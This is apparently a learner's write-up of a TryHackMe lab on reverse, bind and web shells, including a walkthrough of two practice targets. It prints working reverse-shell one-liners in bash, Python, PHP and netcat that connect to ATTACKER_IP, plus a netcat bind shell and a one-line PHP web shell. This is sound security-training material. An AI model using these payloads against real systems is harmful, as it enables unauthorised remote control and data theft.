Shells in Offensive Security

Remote Access, Persistence, and Execution Payloads

I researched and documented the critical role of **Shells** in cybersecurity, which serve as the primary gateway for attackers to remotely control compromised systems. I explored how a shell provides a command-line interface to the operating system, enabling activities such as **Privilege Escalation**, **Data Exfiltration**, and **Pivoting** to other network assets. I practiced differentiating between **Reverse Shells**, where
I found that the target initiates a connection to the attacker to bypass firewalls, and **Bind Shells**, where I found the target opens a port for the attacker to join. I also investigated **Web Shells** leveraging web server vulnerabilities to execute commands via HTTP. By solving these challenges, I practiced how to deploy offensive techniques and implement defensive monitoring to detect unauthorized remote access.

This **documentation** and **learning** approach is strongly inspired by the structured, hands-on content provided by **TryHackMe**, which significantly contributed to practical understanding of "Shells" concepts.

DOCUMENTED BY

Kaustubh Ghosalkar aka "WEIRDO"

LINKEDIN GITHUB

1. Shell Overview

A **Shell** is the command-line interface that allows a user to interact directly with an **Operating System (OS)**. In a security context, it refers to the session an attacker uses to execute commands on a compromised host.

Common Post-Exploitation Activities

Once a shell is obtained, attackers typically perform the following:

- **Remote System Control:** Executing OS-level commands remotely.
- **Privilege Escalation:** Attempting to move from a low-level user to **Root** or **Administrator** access.
- **Data Exfiltration:** Reading and copying sensitive files from the target.
- **Persistence:** Installing backdoors or creating new users to maintain access.
- **Pivoting:** Using the compromised system as a bridge to attack other machines on the same internal network.

2. Reverse Shells

A **Reverse Shell** (or "connect-back" shell) involves the **Target** initiating the connection to the **Attacker**. This is the preferred method because most firewalls allow outgoing traffic but block incoming connections.

Netcat Listener Setup

The attacker must first set up a listener to wait for the incoming connection:

Command: `nc -lvnp 443`

- **-l**: Listen mode.
- **-v**: Verbose output.
- **-n**: Numeric only (no DNS).
- **-p**: Specific port (e.g., 443 to mimic HTTPS).
-

Example Payload: Named Pipe

```
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc ATTACKER_IP 443 >/tmp/f
```

- **mkfifo**: Creates a named pipe for two-way communication.
- **sh -i**: Spawns an interactive shell.

WEIRDO

3. Bind Shells

A **Bind Shell** involves the **Target** opening a port and waiting for the **Attacker** to connect. This is used when outbound connections from the target are heavily restricted.

Bind Shell Setup

Command (Target): `nc -lvnp 8080 -e /bin/bash`

Command (Attacker): `nc TARGET_IP 8080`

4. Shell Listeners and Payloads

Listener Enhancement Tools

- **Rlwrap:** Provides command history and arrow key support for Netcat shells.
  - *Example:* rlwrap nc -lvnp 443
- **Ncat:** An Nmap utility supporting **SSL encryption** for secure shell traffic.
- **Socat:** A complex tool for bidirectional data transfer between sockets.

Common Payload Table

Language	Syntax Example
Bash	bash -i >& /dev/tcp/IP/PORT 0>&1
Python	python -c 'import socket,os,pty;s=socket.socket();s.connect(("IP",PORT));...'
PHP	php -r '$sock=fsockopen("IP",PORT);exec("sh <&3 >&3 2>&3");'

5. Web Shells

A **Web Shell** is a script uploaded to a web server (PHP, ASP, etc.) that executes commands via HTTP requests.

Example: PHP Web Shell

```
<?php system($_GET['cmd']); ?>
```

- **Accessing:** http://target.com/shell.php?cmd=id
- **Deployment:** Often achieved through **Unrestricted File Upload** or **Command Injection** vulnerabilities.

WEIRDO

6. Practical Task (Task 8)

I researched the target environment and **found** several web applications with distinct vulnerabilities. Below is how **I solved** the challenges:

Target 1: Command Injection (Port 8081)

- **Work Done: I researched** the input fields and **found** that the application did not sanitize system commands.
- **Solution: I practiced** by setting up a Netcat listener on my AttackBox. **I solved** the challenge by injecting a Bash reverse shell payload directly into the vulnerable field.
- **Result: I practiced** navigating the file system and **founded** the flag in the root directory.
-

Target 2: Unrestricted File Upload (Port 8082)

- **Work Done: I practiced** uploading different file extensions and **found** the server allowed .php files.
- **Solution: I researched** simple web shell scripts and **solved** the task by uploading a PHP shell. **I practiced** executing commands through the URL.
- **Result: I founded** the second flag by using the cat command on the flag file in the / directory.

Conclusion and Cheatsheet

Conclusion

Shells are the ultimate objective of the exploitation phase, granting the control necessary for post-exploitation and pivoting. While **Reverse Shells** are the standard due to firewall evasion, **Bind Shells** and **Web Shells** remain critical alternatives. Proficiency in choosing the right **Payload** and enhancing your shell experience with tools like **rlwrap** is essential for professional penetration testing.

Fast Revision Cheatsheet

- **Reverse Shell:** Target $\rightarrow$ Attacker. (Best for firewall bypass).
- **Bind Shell:** Attacker $\rightarrow$ Target. (Target listens).
- **nc -lvnp:** Standard flags for a Netcat listener.
- **rlwrap:** Enables arrow keys and history in simple shells.
- **Web Shell:** Malicious script (PHP/ASP) used for HTTP-based command execution.
- **Pivoting:** Moving from one compromised host to another on the internal network.
- **Payload:** The specific code used to trigger the shell connection.

WEIRDO